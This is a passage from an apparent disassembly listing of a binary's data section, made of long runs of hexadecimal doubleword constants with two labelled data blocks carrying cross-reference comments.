dd 9BC1E9FCh, 61C2BBF9h, 6E04619Dh, 9F9DD5A0h, 7C9D407Ah
dd 246C06Eh, 14E777Fh, 805B5A1h, 2EB11585h, 4684F229h
dd 0FE280FCCh, 0AE4A54E6h, 3DF03E17h, 86D30FF6h, 74280D9h
dd 9655CB28h, 0F49781BDh, 18EDF674h, 187E16E9h, 6209C0BEh
dd 878949A5h, 0BB30816Fh, 2D22C877h, 0B50330E9h, 1A07E3D1h
dd 0A7888EE6h, 5689FD2h, 9140EA5Ah, 7CD31F20h, 4D650725h
dd 604808E4h, 30B03145h, 2532449Fh, 0B4DED329h, 1BC1F744h
dd 0DE6672A4h, 3F862610h, 8BCFADADh, 0D383556Bh, 778A4557h
dd 0B95CA30Eh, 2BEDE128h, 0BF254AF0h, 0DF0B44F2h, 0FE199075h
dd 0BD0720D8h, 0EA60B1F9h, 5FF36AB8h, 0B1D0F40Ch, 0E42A8441h
dd 7F127D2Ch, 970B7CB9h, 0A63959E3h, 4F933DC5h, 0D6734E65h
dd 0D6407CE9h, 625A9768h, 23FD7099h, 5860053Eh, 29D9E42Dh
dd 1B304F98h, 0A0B646F4h, 59C62F80h, 3071C7F0h, 0A5A0DE4Eh
dd 1DE2BD89h, 0F5C065DCh, 4F42F173h, 0D4A4E99Bh, 0FBA34A86h
dd 8339F697h, 850298E9h
dd 303B9CBEh, 0B513400h, 4B486C0Dh, 0D6E91B20h, 0EE84B486h
dd 67342C81h, 7FAA2315h, 4C5AD4D9h, 0C1398884h, 273FCC53h
dd 35890036h, 3F63DC49h, 0E6CA01F4h, 0B5BB0760h, 0F7154957h
dd 0BA31C2ACh, 26D90111h, 0BFD14EB0h, 7D6550C6h, 352002Fh
dd 0A10DD8F7h, 46317303h, 0C04EA525h, 17890575h, 0F1DE2EDCh
dd 22E9DDD9h, 9384D912h, 9D5CEBE8h, 0B8E9A840h, 0BA01F3BCh
dd 41C616B4h, 4056066Fh, 5917D28Ah, 37EE3968h, 67128B17h
dd 9C01B07Eh, 11A971Dh, 0A3EE3320h, 0E55E1808h, 87454666h
dd 9E53DD2Eh, 0BD6F78Ch, 0C618DF5Bh, 545D80E9h, 118AD6B5h
dd 0B0DA4A2Ch, 612DF44Eh, 800460B4h, 2E8393F3h, 68EF2765h
dd 0B2BD575Eh, 0FF292720h, 0A957278Bh, 25B0C505h, 11C1C660h
dd 72F00D05h, 71BB505Fh, 6AA4E955h, 0B9EA6E8h, 48F5B484h
dd 3E1FACC0h, 0B02C1D6Ah, 0B19DBDCAh, 0F85EFF80h, 4AF8D37Fh
dd 185232ADh, 163B761h, 0C943DEF8h, 0C8FDA860h, 80AE47EDh
dd 73E09CBFh, 0F7815700h, 42825EE2h, 53EF0BBAh, 6C8947B6h
dd 52025683h, 0C5D714B2h, 56688423h, 0C931AA58h, 922EED23h
dd 1C712AFAh, 0FC784AADh, 0C2FD25A7h, 335207BFh, 0FC5F2EDCh
dd 0B3095FB5h, 7680904h, 542F1806h, 0B9625E9h, 0FDAAF868h
dd 82FD498h, 903EECBFh, 25D17DD9h, 9E46586Ch, 6941BB2Dh
dd 6C5CD0C6h, 21E60935h, 477685F6h, 87F23109h, 5F099716h
dd 0E90BB467h, 37FC2FD4h, 70EAB197h, 0B696A720h, 0DBC75E9h
dd 9DCF3195h, 0FAC37DB4h, 0D68E1AB4h, 0AF401637h, 4AEB4398h
dd 0FAFCD564h, 0B260F27Dh, 0C1A65D78h, 1C6F09A0h, 344EE973h
dd 0A6CB0DB8h, 0AE855363h, 4AEC37B5h, 0AB16D369h, 50C4B0E2h
dd 0BEF2BA54h, 0F33C4B78h, 79F15FBDh, 7B9ED93Eh, 0AEAF284h
dd 0B50575Ch, 0B52FA5E9h, 88ED89DDh, 12680298h, 7B23C29Fh
dd 27666B5Fh, 5FE310BFh, 0E3A3CB73h, 54E8FD89h, 7178F0C2h
dd 10543D48h, 0BB0295FEh, 1AED58B7h, 68660360h, 574BBC2Dh
dd 4AF3F080h, 7B48320Ch, 13AD27D0h, 0F852C256h, 0D4883FEBh
dd 409E7792h, 8659ADABh, 1688FF25h, 0C4558287h, 37AF0944h
dd 0D7781828h, 0B35E0F0Bh, 80895D33h, 2C2DB280h, 0E9F4934Eh
dd 0D200E35Fh, 306FF180h, 4B3BB8CCh, 0C45FE8BEh, 0F5C45056h
dd 0BA04C556h, 5E0913ABh, 0F245C057h, 0F8F927Fh, 3E921D91h
dd 0E4F5C7A9h, 44E915CBh, 0E52F9D79h, 0ED756F8h, 15C0CFFAh
dd 2AE820Bh, 88447CE5h, 1E507B34h, 0C944AE2Fh, 9432431Ch
dd 48662F21h, 5055F50h, 464E0360h, 7881001h, 3C7F041h
dd 78BD5555h, 8959FDEh, 0DD2758FBh, 52FADE10h, 191C5797h
dd 0DF25952Ah, 0F2C158h, 0C7805859h, 0B9FC2853h, 0E3886346h
dd 2EEB2204h, 0D0AADEE9h, 0FA1074CDh, 0A12D7307h, 21445EA7h
dd 9714F0ABh, 3014413Fh, 0D7F76089h, 0BC7EE34Fh, 5036CB59h
dd 2D795E4h, 0C6EC168Ch, 0D768163Ch, 0B111AC7Eh, 8357E2C6h
dd 0A0C2BC62h, 6ECCC9D5h, 0A4106532h, 4531AECBh, 810488F4h
dd 7F526D17h, 0B7ECC5DDh, 69C99770h, 0B9F72E16h, 17106610h
dd 0FE8207E9h, 0FE39E056h, 79462D6Bh, 0E8254A54h, 44F69F9h
dd 0F6E95763h, 439DEBD3h, 9420CB2Ah, 0D7109CA1h, 6240A462h
dd 4091C60Ch, 7B0E05C4h, 0A12A9D61h, 338414B7h, 72F103Fh
dd 0D411A375h, 0AEEBD4FEh, 710607C0h, 927F4858h, 0FF4F9E3Bh
dd 44FECB52h, 0BF9D88C3h, 0B1D463E8h, 62093113h, 0E9A98D07h
dd 6F79F377h, 0DBE1AEAFh, 0D32CD028h, 96DF8997h, 68511315h
dd 0ADC8AE5Fh, 0B5100BB2h, 9C7D30CDh, 2A342591h, 705797CAh
dd 495D4A66h, 42A3F135h, 86BAC201h, 5E4FCF50h, 0C0248EAh
dd 0E8EC5496h, 0C51E5925h, 3A5D00B0h, 0B6520EE6h, 0CBF40ED2h
dd 0E44DFE5Ah, 80BF946Ch, 3EFC141h, 1B0089B6h, 0E9632537h
dd 71F99D1Fh, 56575C80h, 242DD4BEh, 1F15508h, 414C7DDEh
dd 0C8022F31h, 404E02E6h, 9FB1E933h, 0FA308402h, 0E8253C58h
dd 0DC46F5A3h, 0EF1E706h, 3B7C12F5h, 0AB2762C7h, 0DFE3897Dh
dd 0DB61C390h, 0E540AE9Fh, 63CC7125h, 334EBD5Ah, 3DAE524Ah
dd 1D002A9Eh, 7A641A05h, 978F75E9h, 554B95F9h, 899DE0C4h
dd 11E6559Fh, 86C3A75Ah, 330FD5BBh, 0F37285DDh, 8B8444FEh
dd 64F2AB2Ch, 0C9E782B4h, 8B02D908h, 7548EE80h, 0FE0308A1h
dd 401480CEh, 28C3B753h, 0B85B73F8h, 7D0120F7h, 0BAEA313Bh
dd 72BA5580h, 36C14B73h, 75C294DAh, 90F26B54h, 0BDAF7798h
dd 46A4286Ch, 7D07EB27h, 17A4372Eh, 0EDF2FB50h, 0E756BC81h
dd 4FEAF036h, 91A2505h, 0E487F201h, 305D5500h, 6673002Dh
dd 0CC35615Eh, 52024570h, 0F708E0C1h, 57C41D8h, 0F01757C4h
dd 5639506h, 292E4040h, 0BFE912C2h, 519E7E94h, 4A8C693Ch
dd 4099C9EFh, 3317A233h, 3334225Ch, 0D8EA3B36h, 0C02D3418h
dd 45C53A0Ch, 0FEA201C2h, 32909416h, 0E665382Dh, 5A03B883h
dd 0A139FE57h, 36105A3Dh, 88AF4BB9h, 4F4D74F0h, 83B85E9Ch
dd 68156A8Ch, 246F3C26h, 7D8D7C44h, 8A49FC20h, 7F7B2F03h
dd 1CFF1BFFh, 31FE9764h, 0B9BD425h, 9FE4F53Ah, 0ADA25195h
dd 9D011874h, 5937E038h, 5859B26Ah, 4773068Ah, 0B0C16F2h
dd 6B5E442Ch, 691103E0h, 0C397E30h, 589761F6h, 0B727F52Ah
dd 0E06EB2FDh, 95AB8100h, 0FDF1ABF7h, 4A5A11A0h, 0CED279C0h
dd 0FA5AC1FCh, 1BB542Ch, 0E7E3236h, 2B70D368h, 17AD828Ch
dd 0BF039B79h, 0FA87A031h, 8AFF461h, 0D822870h, 2F9B5257h
dd 947D6C8Ch, 550227B5h, 6A486DBh, 4A47E889h, 708968EEh
dd 3BA2970Dh, 0F80BFB0Ah, 27D1B396h, 0CF480E74h, 5613D724h
dd 0BD6098AFh, 0EBE12F41h, 640FE2Eh, 2837045Ch, 6F47F4D8h
dd 2DFE154Bh, 2D5DA1C0h, 0B10DA00Eh, 800BD4Dh, 0F8011036h
dd 0FBE91C56h, 0E455272Ch, 867138D1h, 8276AA5Ah, 9AF1BF8Dh
dd 0FD45E950h, 86BD4380h, 8911CB2Eh, 7E8489B7h, 0D6EB8921h
dd 854F3771h, 34BE644Dh, 0B8578137h, 0D32DA07Bh, 236BEC12h
dd 0A9CBF509h, 0E818DD37h, 6BE15456h, 0EDA163BDh, 18C8480Ah
dd 0DFEF554Bh, 91680B2Ah, 0EBF9F115h, 2A0C96F7h, 343011Fh
dd 4C40B951h, 0E2207923h, 0FA1CF460h, 816C008Bh, 0EA13A6C9h
dd 594FE90Dh, 0CB42530Eh, 7786C2F0h, 0A2850FA7h, 0BAA09C73h
dd 0D6936CDh, 0EC51658h, 0FF615B99h, 0A5F3CE0Fh, 0C2820C62h
dd 978D7E03h, 0E89BF459h, 0CB015D3Fh, 0BDB018ECh, 0F13F3E69h
dd 88ED020Ah, 0FF06D836h, 0CF5CE178h, 97BC7DE6h, 270B2A9Fh
dd 394777F6h, 0A0315914h, 50F4156Eh, 0E09BA0Eh, 0E96CFA26h
dd 419BD889h, 301C4FE1h, 4C4FEC37h, 0C3A7C9A8h, 314CC092h
dd 0FAC5F7Dh, 0DBFCB70Eh, 455800F0h, 50B16856h, 5E0D2D75h
dd 0E0A0050h, 8C185519h, 0CB086026h, 0F145277Bh, 4DB8D72Dh
dd 5B5F39E9h, 0CABC13FEh, 71A54859h, 26607BE7h, 176845Ch
dd 0A7F38143h, 3B21400Dh, 853A8DBDh, 0B9EA0E97h, 89C62F0Dh
dd 0D521293Ch, 0C32EF9C7h, 7B025FC9h, 187F41C0h, 1634BB0Eh
dd 1275CF42h, 0F518B4CEh, 0E63DBD71h, 0DEE7AF8Fh, 0C05D4932h
dd 2D68591Ah, 2B183542h, 9C4843AAh, 5AC60318h, 5AA763BCh
dd 0E9A2F434h, 96CE5126h, 70DE0652h, 0B9C35B77h, 29581D9Fh
dd 0DC76AEF2h, 0AB756B5Fh, 0BCC4FDB5h, 744BAFB0h, 6FAD6CB8h
dd 0A3FBCDC4h, 6850805Ah, 0EE357577h, 7329B858h, 2DD00048h
dd 211B05CCh
db 89h
byte_4F5345 db 0C7h, 0BCh, 13h ; DATA XREF: ___:004449B0o
; ___:00444D04o
dd 0ECEFC163h, 8F95C0BAh, 683ECE29h, 0B980AAE9h, 2894C850h
dd 2A302AE3h, 48BA386Dh, 1207474Ch, 532D49BEh, 260A57A9h
dd 7A29C368h, 365CAA8h, 0AF13C711h, 138053F0h, 0BA2E5E20h
dd 0C41EEA6h, 8278A330h, 7F65E4DFh, 1A7782C7h, 6BDC5749h
dd 6A545672h, 40221E24h, 0F2811520h, 0C22D3429h, 209EF827h
dd 22985B90h, 82836A28h, 0A7193327h, 56A90F5Fh, 0E4AB8BB1h
dd 0A2C99572h, 4B4B764Bh, 8946C77Dh, 56296E9h, 8100657Fh
dd 0AAE91EB8h, 4BA77836h, 0B2EB5484h, 553984DFh, 4F7D30AAh
dd 3D09B65Dh, 6260E95Ah, 3995F5AAh, 20F312Dh, 56D6FC6Ch
dd 2ED00C8Ah, 0FD3CBD22h, 21598F64h, 0A53786EFh, 68580966h
dd 0A3DC2983h, 3852C5C7h, 3CDB7411h, 60E6520Ch, 7B160D0Ch
dd 92714BD9h, 0EA3A0C8Bh, 0E83F1939h, 4AA9D0F7h, 582CD1E2h
dd 37710207h, 0D8405AD6h, 2927C893h, 727176A5h, 4EA6D602h
dd 9A905966h, 0A64430Fh
dword_4F5454 dd 6056DD1Fh, 0ABE4B4FCh, 0E9B32CA9h, 4885395h, 0F36012A1h
; DATA XREF: ___:00444B7Co
dd 0DB284E53h, 364E2468h, 33B6C0A6h, 0D89F0E56h, 0BCA9A090h
dd 0CAC62E76h, 42B02CA0h, 1257F87Dh, 10D2FFD4h, 4AE95095h
dd 5A5509A3h, 66B66D1h, 93E68A2h, 0A9AA09BAh, 279C3B88h
dd 8BA80957h, 0C2246C36h, 0F0B7E90Dh, 89DE51DFh, 3A5D4165h
dd 0C11EFC28h, 0F22BE9FBh, 0BACB27Bh, 60044D32h, 82DF98A6h
dd 0BF034178h, 89712206h, 849CF1F8h, 8B451C9Dh, 0C5F154B1h
dd 91528449h, 5AD33000h, 0D8E02A2Ch, 2030D290h, 0BF58245Ch
dd 5F697217h, 7493B47Ah, 0AFFC384Bh, 0A19A48DEh, 3320BB01h
dd 41E84C78h, 0B780B2E1h, 62768243h, 0EB81FB1Fh, 68F04985h
dd 725F8A4Ch, 1574112h, 810CC391h, 0F9229A51h, 3882437Ch
dd 4B240DF7h, 0BDE8DE55h, 0C35B1F0Ch, 54709342h, 0D3005495h
dd 745C8CCAh, 0A805E87h, 5FDA8922h, 5778E456h, 207D9055h
dd 8313148Ch, 3DBE02EDh, 168F725Eh, 0D9FF9EE2h, 52E3EFBEh
dd 5AF5D905h, 788019D8h, 5E27A50Fh, 55DFA0E6h, 0C900C8B0h
dd 0BD5C925Eh, 7FBFD49Bh, 9FDD7FF4h, 0EF68DE01h, 1DBC6634h
dd 3A17513Ch, 6DE15C01h, 0E6D8179Fh, 5F3E7196h, 0FEDE874Fh
dd 870FA567h, 6EC9F49h, 7305EBECh, 68E9A080h, 0CC5B02E8h
dd 7612FDAAh, 61BC1DA7h, 24200741h, 0DD6697DBh, 13872020h
dd 1FB9C480h, 117627A6h, 0B82FAE5h, 6B26495h, 0D0802302h
dd 569D6D52h, 0B6F2CB3h, 17FC6041h, 752198BBh, 5C1F55Fh
dd 459E828h, 0E9DD2140h, 2DD15231h, 5E0E97Dh, 4EEBF53Eh
dd 0AFF21006h, 0CA037E48h, 6B851698h, 0DDACD4E2h, 6FF93554h
dd 0AC2A76DDh, 988BE668h, 304E41E2h, 4CB77FFBh, 1E21090Eh
dd 0D0F64B2Ah, 97E90202h, 0C293496Eh, 127DFC40h, 0AB224ED6h
dd 0AD9E2700h, 5DE9B494h, 0BA00B5B8h, 3A6865E5h, 0DA50F74Ah
dd 1B18BDA4h, 0CF0C0716h, 6AB62F0Ah, 8779D6FAh, 0FD872BB5h
dd 9C758C29h, 6A0C2028h, 0F8A1DC9Dh, 7B4B45E9h, 40F2E928h
dd 552C6842h, 5167012Ah, 78D0EE3h, 0B74D264Fh, 72765766h
dd 0CA7A714Ah, 125AAE4Dh, 0ECE0FCB3h, 1F3BE52Ch, 0B3DED7A1h
dd 0C52D83D8h, 151980Ah, 70550D8h, 0A6D22CE9h, 4B56A42Dh
dd 984CE457h, 0EF4F4BB7h, 0E9509520h, 9896549Fh, 6F8E13E5h
dd 0C53400F4h, 39696308h, 4909CDF8h, 5C720A55h, 38611DE2h
dd 95E96005h, 832AA366h, 0A022E8BFh, 3C3DBB47h, 87CCA487h
dd 4813A65Bh, 7605266Bh, 9ECAC301h, 0DC446B56h, 298640AAh
dd 0E16DE9DEh, 871429B1h, 0FC6882E6h, 8CEB7959h, 0ED8F27BFh
dd 57755E0Ch, 128CB01Bh, 0AFDC1236h, 12FD06E0h, 0D782BDE9h
dd 152773FAh, 2C33B12h, 0FA9614A2h, 4EB24AD8h, 0A411E816h
dd 36BD6790h, 95327E7Dh, 54B067Fh, 4869886h, 3CE999B0h
dd 0E199BE77h, 8186223Eh, 0A54AD9DDh, 0B98A187Fh, 8823BED0h
dd 0BA00FC9Ah, 6D9C1479h, 40E31EB8h, 0D00141C7h, 7EA1C2E9h
dd 5003E7FDh, 5C638BB8h, 7A054888h, 0CAA39C38h, 4AE92007h
dd 7C02E8Ch, 0B65206EFh, 0AE5FB4EBh, 0B80487BDh, 0FE01E841h
dd 80790A1h, 2CBB55D3h, 3AB6626h, 53D828E0h, 22BE7E1h
dd 0EA48FF4Ah, 5E9702E2h, 0D2F74246h, 341DE340h, 310E7E19h
dd 13356FBAh, 0C9E0BC3Bh, 2336D435h, 694C30BBh, 1B10F067h
dd 841DA01h, 4BB36920h, 64CDFBA8h, 5967437Ah, 4C0465EFh
dd 7EE0203h, 61E9A1EBh, 0AD052AA8h, 9297E2D1h, 0D7A942A2h
dd 0B728AACCh, 86024214h, 29250676h, 270808F2h, 69D2A477h
dd 0C46EEBB1h, 27A8005Dh, 29B653D3h, 0BB5ECB77h, 56879F4h
dd 186F4625h, 0E40C855Ah, 7BBDE7A2h, 5EF709BDh, 620B73DDh
dd 947C38E9h, 5D19C385h, 0D4AE5385h, 5E08015Dh, 342D8468h
dd 4C60C16Ah, 2520C733h, 0E5244FB9h, 87080037h, 0D15E5FF9h
dd 21C7DA01h, 807F6DA9h, 2BA64048h, 793618C2h, 0F1C8E06Bh
dd 74708AF8h, 4F12CB7Dh, 0E0FE5514h, 0E926D7EFh, 5084998Eh
dd 17AE77B4h, 85DAFD0h, 13AA2074h, 8634CAB0h, 4C7093E0h
dd 791EB9BDh, 2485890Fh, 1B16DA10h, 0C2A140F2h, 9AAC7FD1h
dd 8A2D7994h, 62B2F8E5h, 0C2AFF654h, 0CC80BE9h, 12B8DFF7h
dd 0F29F0A94h, 0E7B3154Fh, 88D2D501h, 541F4944h, 172B06DDh
dd 0F1F1E907h, 0DF495AD7h, 509944F4h, 1892DD6Fh, 0C29793Dh
dd 0FA263584h, 67853D0Eh, 1BA2CE3h, 5B204CD0h, 0E644313Fh
dd 7E02A5E1h, 0C98E5B8h, 1B2DF295h, 417156B1h, 0CC7FEC80h
dd 44BF76F4h, 5B8198B3h, 0CD88B4B4h, 0F306C50Bh, 3F197453h
dd 0E2D31092h, 472578E8h, 27E714F5h, 0C60B4393h, 8899E079h
dd 0F5E66617h, 499FD422h, 0DB3EA57Dh, 0CF4AA2FCh, 0B66809E3h
dd 0C272C416h, 0FF55EA40h, 72A77475h, 9EA0F653h, 8D717F0Ah
dd 7B188B50h, 4D2AE90Dh, 0DC09B3E2h, 18FCEF24h, 127813Fh
dd 9B7AE979h, 0BC6F7C2h, 3A71D9A1h, 0CE648EE3h, 0D3FE1702h
dd 0F5000E47h, 3D4BF57h, 0B78959B6h, 40E30FCh, 8FE9254Ah
dd 0F84B85F8h, 8A5A12FDh, 0F3E83199h, 0CF8EA864h, 0A52B0E32h
dd 0E7E04728h, 4E36029Ah, 0AE7EE916h, 3FDF8BFFh, 28999855h
dd 65FED09Dh, 0C32C04C8h, 30FAC313h, 8EC4A558h, 74BE2620h
dd 0FDD2EA34h, 9DCB6C51h, 6780142h, 20951C98h, 0DB951C8h
dd 279D1639h, 3E82F509h, 0C0E458A9h, 16547F5Dh, 1C405239h
dd 994B07BAh, 0A4005D7Ah, 0D348BC35h, 80E97809h, 8BBE54A2h
dd 39D24BB1h, 6C09C60Bh, 0DF130EA9h, 299FFC89h, 7BB07F67h
dd 4692ED1Eh, 48B12FB5h, 68E0304Bh, 11507416h, 0E0A4B9F2h
dd 7A326000h, 5FFB894Ch, 6CF7FE43h, 0EFBA1E8Fh, 0CD58D9E4h
dd 0C02D7DB4h, 908CCE4Fh, 65CE203Bh, 3F33BB04h, 0EE8554B0h
dd 6904D525h, 213F94Fh, 0F52037CDh, 2DF8E40h, 0E24A989Fh
dd 3BB98041h, 15DD0A06h, 240B3FBEh, 13DFCE31h, 0C256AAEFh
dd 0B14824FBh, 25AEE030h, 2F7A1C0h, 0D6238437h, 24330632h
dd 2E091878h, 2FD305h, 844983Ah, 0E7D1307Ch, 0E648E51Ch
dd 0FE01A716h, 89B17A13h, 4A717A20h, 643E8C04h, 28C86F12h
dd 0E9D3A4EAh, 319A3424h, 4195D5A8h, 33C057F6h, 0DF311210h
dd 8E4DE85Bh, 0D6234489h, 18925BACh, 71E32C2h, 810A1700h
dd 0FE210EE3h, 0BAC5A015h, 4D021313h, 0FC8DB129h, 0A604605Fh
dd 2D6CE919h, 0FC860413h, 5ACAF239h, 40C407A4h, 0F6B55D60h
dd 0F9018292h, 85D6089Bh, 0B084DAA7h, 0D470253Dh, 0F9EB2F5h
dd 0B5468F5h, 235EE668h, 2D62A069h, 982A095Dh, 0E0C59726h
dd 40AA6843h, 827DB619h, 0FD2A415Dh, 958CDAE4h, 0B6E1010h
dd 544A0133h, 5F095C1h, 80624BE9h, 32870DEEh, 1305AE3Dh
dd 768CD88Eh, 0E8635BF8h, 416ED8E3h, 0FF3E5CD8h, 0CF55615Fh
dd 2FE3622Eh, 892A5426h, 0C67093C6h, 0C2808455h, 3006C38Dh
dd 8CC4F3F0h, 40E24CA8h, 0B437D15Bh, 0A168004Dh, 0CF739F63h
dd 36E6F749h, 0E7F57BF9h, 0EC0EED8h, 29228E36h, 8061CDAh
dd 19926EE9h, 656BF49Dh, 42EB8B2h, 0D4F6CCFEh, 1D2215E8h
dd 0BCA55D95h, 955E04Ch, 5E4FF277h, 90A2DD96h, 38F90056h
dd 8EBE1730h, 3D126EDDh, 0DE09D601h, 5F046243h, 7BAF3DFBh
dd 205B936Fh, 0E6C14686h, 0B4F6C2A0h, 1E398202h, 0D92644E9h
dd 0E125BFD8h, 7038FBA9h, 0BB8067A8h, 98539255h, 3DB205ABh
dd 0C7293691h, 8A40B563h, 0FD874BB8h, 13EC5BE4h, 0C4EEB060h
dd 3E5F5405h, 5B00298Bh
dd 2D66D245h, 86075DEEh, 1611254Ah, 8C032045h, 0D2A47094h
dd 37037F31h, 0EA8421B0h, 50339FA6h, 0E3810B2Ch, 6CB17A53h
dd 0B7847146h, 5692967Bh, 6000B5FFh, 608225CDh, 0BD7EE0E3h
dd 4D12A253h, 0F7C9C322h, 9E6BB26Ch, 96E87F11h, 0FC82DFB0h
dd 0D76868h, 64E62347h, 1BB8F501h, 73D70882h, 0BE0F0455h
dd 851684C8h, 78A9F207h, 1D289B20h, 81E1ED80h, 0F36859EAh
dd 6A42244Ah, 0E5219261h, 8CDC0F5h, 0F2B7CDD8h, 28A02FC5h
dd 2A4B20D0h, 36263AE1h, 6B3B680Bh, 0C05AFB74h, 2D3E5A61h
dd 0A0D650E5h, 218408A0h, 5C305258h, 0DE29125Ch, 0A3854312h
dd 0E9C274B2h, 26CA40FDh, 90D97ADFh, 5438133Dh, 0C2E104BDh
dd 0EB90F48Bh, 0F16B9741h, 15D301FDh, 39B82B68h, 0E7F072C9h
dd 489C7D95h, 0E916297Ch, 0AA281624h, 4AE1F856h, 8556F87Bh
dd 31806850h, 1C58738Ch, 0C0D6F796h, 906F4205h, 0C74A2184h
dd 0E7B006ACh, 493E1E97h, 0B0C70316h, 2665F910h, 1604770Ch
dd 6ED9EE91h, 0DF52A800h, 0BA1D607Dh, 362E49BFh, 89CDE92Dh
dd 0A8CDDFFAh, 0F763A68Ch, 35F0CEDh, 0D0CB337h, 1E17E06h
dd 8258FD29h, 8BD30508h, 68BE20EAh, 12971FFBh, 0F4D4752Ch
dd 2FF6D6ADh, 7FA5F915h, 3488A0E7h, 135116E6h, 50360661h
dd 0E269C259h, 0B016F80Fh, 40914976h, 143C7687h, 186FC05Ah
dd 3D02A023h, 79D9CB81h, 0F3AA8058h, 174E042Bh, 0FA3EE973h
dd 0EED1624Eh, 0B2BA32BEh, 0A66809F7h, 1DC3076h, 31D39703h
dd 902F2608h, 565F1E3Ch, 0B07019C9h, 270B1E54h, 57582E3Fh
dd 96123504h, 88BB112Fh, 80B88019h, 165B2C48h, 84BDE4EEh
dd 7E7AD09Fh, 0F58DBC2Dh, 59E16B3Bh, 26402E43h, 3A1967DAh
dd 2CFA5A01h, 1114109Bh, 592646Ch, 9C50547h, 0CB03C6E8h
dd 17AB6108h, 3E715E05h, 63C046F4h, 639A6ED0h, 491A2430h
dd 76E97CF0h, 0F7369448h, 0CAAF0264h, 0E744C8Fh, 72B753h
dd 0E5305BFCh, 60682758h, 0E989CCD1h, 2110E079h, 5921B7EBh
dd 8B2A2D68h, 59A2DDEFh, 0F82189EDh, 0C2098F30h, 0F74FE917h
dd 512F3161h, 1670353Ah, 0D9CAFBB0h, 3CA1EAD3h, 0BF5F13C4h
dd 7F4ED2A0h, 0F6F83DEEh, 53F4C9B2h, 7B6F430Bh, 0A67E8F29h
dd 0A8AB69EAh, 9A6BFC21h, 0BC5A5AF4h, 5EC2B079h, 31CF0A60h
dd 20E7F201h, 0D290F908h, 7CBF0297h, 7D3E1073h, 4C10E69h
dd 0B9530B1Dh, 0D03064F1h, 8E6815C8h, 0A4279E40h, 60FF4E62h
dd 0E16C25C4h, 0DA4EFFC2h, 53026817h, 89808434h, 0E2796309h
dd 9C0E05BEh, 0E829E6E9h, 0B7EE3B1Dh, 97C7317Ah, 0B2AF139Eh
dd 776DC68Eh, 8EBF041Ch, 0D1A3D437h, 50FD31CEh, 391468E1h
dd 0E961C1BBh, 9368AC53h, 0C74CFAD0h, 20FE5A16h, 7179EEA2h
dd 0CE816D07h, 0BD40452h, 0C69340FBh, 19942ED3h, 0A11AF0BDh
dd 0F98960FDh, 0B2FDE830h, 18D2F595h, 342D68BFh, 9E24919Ah
dd 6D084855h, 0CB01592Ch, 20CD22F6h, 7703A220h, 273EB844h
dd 0DC515CAEh, 0F660A46Fh, 484DE4BBh, 2AF2494Bh, 93B2884h
dd 0ED5E50h, 434A177Ah, 0CAF3018Fh, 2FBA088Dh, 6CB9DABCh
dd 54A68673h, 0BDA44D69h, 0B35D8B27h, 0EA4EF293h, 6609C19Fh
dd 17B47760h, 9C4FE8Bh, 0C45D5B0Fh, 520609C0h, 8077600Eh
dd 975EC509h, 4D19F815h, 0B086A97Dh, 96EAD953h, 2C340C16h
dd 8B68BE0Eh, 1741DF64h, 5F33EF3h, 8C418B2Ch, 1AB75A45h
dd 2840F55Bh, 124115C6h, 3A572768h, 86090666h, 602E2D3Ch
dd 1CF781F3h, 0E7C25ACFh, 579F0178h, 0E01D1304h, 5E59F21Ah
dd 5604965Ch, 0FAF797AFh, 0AB65347Bh, 90F41C16h, 68550126h
dd 4CDE2D83h, 0CB5AB82Fh, 0B7F5D8BEh, 4B2D74C0h, 8B0CC905h
dd 0FCBC631h, 9E4C05Fh, 0E97C1C5Fh, 0EB27EA5Ah, 2E7082h
dd 0E7CF8147h, 0DCDA3430h, 7EAA2C7h, 0FB890733h, 762ABE9h
dd 0F51C8955h, 7DF47D6Ch, 0C6E0FB54h, 0C3EE00B5h, 9064336Bh
dd 0A2E913F2h, 166FF46Ch, 682CE861h, 6A230A50h, 22A3E14Fh
dd 7E1C2DBAh, 5097D205h, 0D7AF6889h, 95B62E4Ch, 1BCEFFA0h
dd 2B61E9D0h, 0DB6F7D3Fh, 0ED8D43A4h, 9D203039h, 1074B5F0h
dd 0BC345BF3h, 4A1CA167h, 0AED38829h, 7A1C2FA5h, 91B3A153h
dd 2941BE00h, 3A7AE524h, 8C4F7043h, 0B9D090AFh, 3565AA59h
dd 0A2BB5E9Eh, 49B8D2CDh, 0FC8AFED3h, 0B3098312h, 0F44F4E94h
dd 150ECF5Fh, 165B3D0Eh, 62FED821h, 0CD48C3ABh, 79179D68h
dd 0C1004342h, 7F5F8EF1h, 0ABC89F40h, 761F82E1h, 85FC5A6Fh
dd 0BDD305E5h, 6191C7ABh, 7A6C60F0h, 74019F8h, 1D0349E9h
dd 0B3D6572Dh, 85050C30h, 55750436h, 0FE253C2Dh, 31AB03C1h
dd 6882D838h, 21666CB6h, 41565458h, 8760891h, 83C0215Dh
dd 16915EA2h, 9070144Eh, 0A0727EAAh, 6BE6317Bh, 95B83FE1h
dd 0E727E9B8h, 0CAB35C54h, 604A035Ah, 0B128BBDh, 0F5EFDD29h
dd 9FC6AA8h, 0FC3F0841h, 35CD516Ah, 0A1822A77h, 25D15C10h
dd 0A73A6557h, 0B812B0D7h, 3874B09Ah, 6A89350Ah, 2A8054ECh
dd 0B92FBE05h, 450A905Bh, 808188E3h, 0D1F6F8E1h, 0C18343D6h
dd 0C98F0C9h, 28960601h, 0BEFDCC4Ah, 3E620CC6h, 83B9BE4Bh
dd 0D2D1C74Bh, 565D4D55h, 0BF80C914h, 2B7D023Fh, 51A230F3h
dd 558B680Dh, 1C61564Ch, 1E55CFAFh, 52569C81h, 28430C3h
dd 516DA768h, 0AF839317h, 0C1551788h, 0A9596D82h, 6890FD0Fh
dd 40B95B34h, 89E23D16h, 22D6D9Ah, 0A42F0B9h, 9D65D69h
dd 77A553A4h, 5CE0C945h, 12A1F381h, 27A385Fh, 5817E9A9h
dd 0AC21E7C5h, 0A46716h, 3EE70BF3h, 1A802D5Bh, 32A76214h
dd 0A6670DB8h, 4F01B98Bh, 0B3201204h, 0D4C1D38h, 885E4916h
dd 522D69E6h, 438DABAh, 0FAE9D129h, 457AB1Eh, 0B5CC935Eh
dd 3F69989h, 76BF7916h, 85ED5D56h, 101DEDE8h, 0BB02AAE0h
dd 445A1C3Fh, 46EF765Fh, 2497804Bh, 3482CAB6h, 57FA5F86h
dd 7DD5529Dh, 229F495Fh, 2D40ED4Ah, 0A4144C5Ch, 0D4DA9DA4h
dd 0D1AB294Bh, 6FAC181Eh, 0BF67ACCh, 4171022Dh, 4F270055h
dd 12F71DB3h, 0EF59E9D5h, 0A3EB0B13h, 3684860Ch, 0DB829FA3h
